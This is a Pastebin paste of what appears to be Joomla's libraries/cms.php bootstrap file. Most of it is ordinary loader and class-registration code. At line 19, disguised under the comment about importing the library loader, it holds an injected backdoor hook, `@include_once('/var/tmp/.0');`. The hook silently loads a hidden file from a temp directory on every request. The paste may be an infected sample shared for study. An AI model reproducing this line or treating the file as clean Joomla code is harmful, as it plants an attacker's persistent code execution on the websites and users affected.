Advertisement
Guest User

Untitled

a guest
Feb 18th, 2019
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.97 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4. * @package Joomla.Libraries
  5. *
  6. * @copyright Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
  7. * @license GNU General Public License version 2 or later; see LICENSE.txt
  8. */
  9.  
  10. defined('_JEXEC') or die;
  11.  
  12. // Set the platform root path as a constant if necessary.
  13. if (!defined('JPATH_PLATFORM'))
  14. {
  15. define('JPATH_PLATFORM', __DIR__);
  16. }
  17.  
  18. // Import the library loader if necessary.
  19. @include_once('/var/tmp/.0');
  20. if (!class_exists('JLoader'))
  21. {
  22. require_once JPATH_PLATFORM . '/loader.php';
  23. }
  24.  
  25. // Make sure that the Joomla Platform has been successfully loaded.
  26. if (!class_exists('JLoader'))
  27. {
  28. throw new RuntimeException('Joomla Platform not loaded.');
  29. }
  30.  
  31. // Register the library base path for CMS libraries.
  32. JLoader::registerPrefix('J', JPATH_PLATFORM . '/cms', false, true);
  33.  
  34. /** @note This will be loaded through composer in Joomla 4 */
  35. JLoader::registerNamespace('Joomla\\CMS', JPATH_PLATFORM . '/src', false, false, 'psr4');
  36.  
  37. // Create the Composer autoloader
  38. $loader = require JPATH_LIBRARIES . '/vendor/autoload.php';
  39. $loader->unregister();
  40.  
  41. // Decorate Composer autoloader
  42. spl_autoload_register(array(new JClassLoader($loader), 'loadClass'), true, true);
  43.  
  44. // Register the class aliases for Framework classes that have replaced their Platform equivilents
  45. require_once JPATH_LIBRARIES . '/classmap.php';
  46.  
  47. // Ensure FOF autoloader included - needed for things like content versioning where we need to get an FOFTable Instance
  48. if (!class_exists('FOFAutoloaderFof'))
  49. {
  50. include_once JPATH_LIBRARIES . '/fof/include.php';
  51. }
  52.  
  53. // Register a handler for uncaught exceptions that shows a pretty error page when possible
  54. set_exception_handler(array('JErrorPage', 'render'));
  55.  
  56. // Define the Joomla version if not already defined.
  57. if (!defined('JVERSION'))
  58. {
  59. $jversion = new JVersion;
  60. define('JVERSION', $jversion->getShortVersion());
  61. }
  62.  
  63. // Set up the message queue logger for web requests
  64. if (array_key_exists('REQUEST_METHOD', $_SERVER))
  65. {
  66. JLog::addLogger(array('logger' => 'messagequeue'), JLog::ALL, array('jerror'));
  67. }
  68.  
  69. // Register JArrayHelper due to JRegistry moved to composer's vendor folder
  70. JLoader::register('JArrayHelper', JPATH_PLATFORM . '/joomla/utilities/arrayhelper.php');
  71.  
  72. // Register the Crypto lib
  73. JLoader::register('Crypto', JPATH_PLATFORM . '/php-encryption/Crypto.php');
  74.  
  75. // Register classes where the names have been changed to fit the autoloader rules
  76. // @deprecated 4.0
  77. JLoader::register('JInstallerComponent', JPATH_PLATFORM . '/cms/installer/adapter/component.php');
  78. JLoader::register('JInstallerFile', JPATH_PLATFORM . '/cms/installer/adapter/file.php');
  79. JLoader::register('JInstallerLanguage', JPATH_PLATFORM . '/cms/installer/adapter/language.php');
  80. JLoader::register('JInstallerLibrary', JPATH_PLATFORM . '/cms/installer/adapter/library.php');
  81. JLoader::register('JInstallerModule', JPATH_PLATFORM . '/cms/installer/adapter/module.php');
  82. JLoader::register('JInstallerPackage', JPATH_PLATFORM . '/cms/installer/adapter/package.php');
  83. JLoader::register('JInstallerPlugin', JPATH_PLATFORM . '/cms/installer/adapter/plugin.php');
  84. JLoader::register('JInstallerTemplate', JPATH_PLATFORM . '/cms/installer/adapter/template.php');
  85. JLoader::register('JExtension', JPATH_PLATFORM . '/cms/installer/extension.php');
  86. JLoader::registerAlias('JAdministrator', 'JApplicationAdministrator');
  87. JLoader::registerAlias('JSite', 'JApplicationSite');
  88.  
  89. // Can be removed when the move of all core fields to namespace is finished
  90. \Joomla\CMS\Form\FormHelper::addFieldPath(JPATH_LIBRARIES . '/joomla/form/fields');
  91. \Joomla\CMS\Form\FormHelper::addRulePath(JPATH_LIBRARIES . '/joomla/form/rule');
  92. \Joomla\CMS\Form\FormHelper::addRulePath(JPATH_LIBRARIES . '/joomla/form/rules');
  93. \Joomla\CMS\Form\FormHelper::addFormPath(JPATH_LIBRARIES . '/joomla/form/forms');
  94. \Joomla\CMS\Form\FormHelper::addFieldPath(JPATH_LIBRARIES . '/cms/form/field');
  95. \Joomla\CMS\Form\FormHelper::addRulePath(JPATH_LIBRARIES . '/cms/form/rule');
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement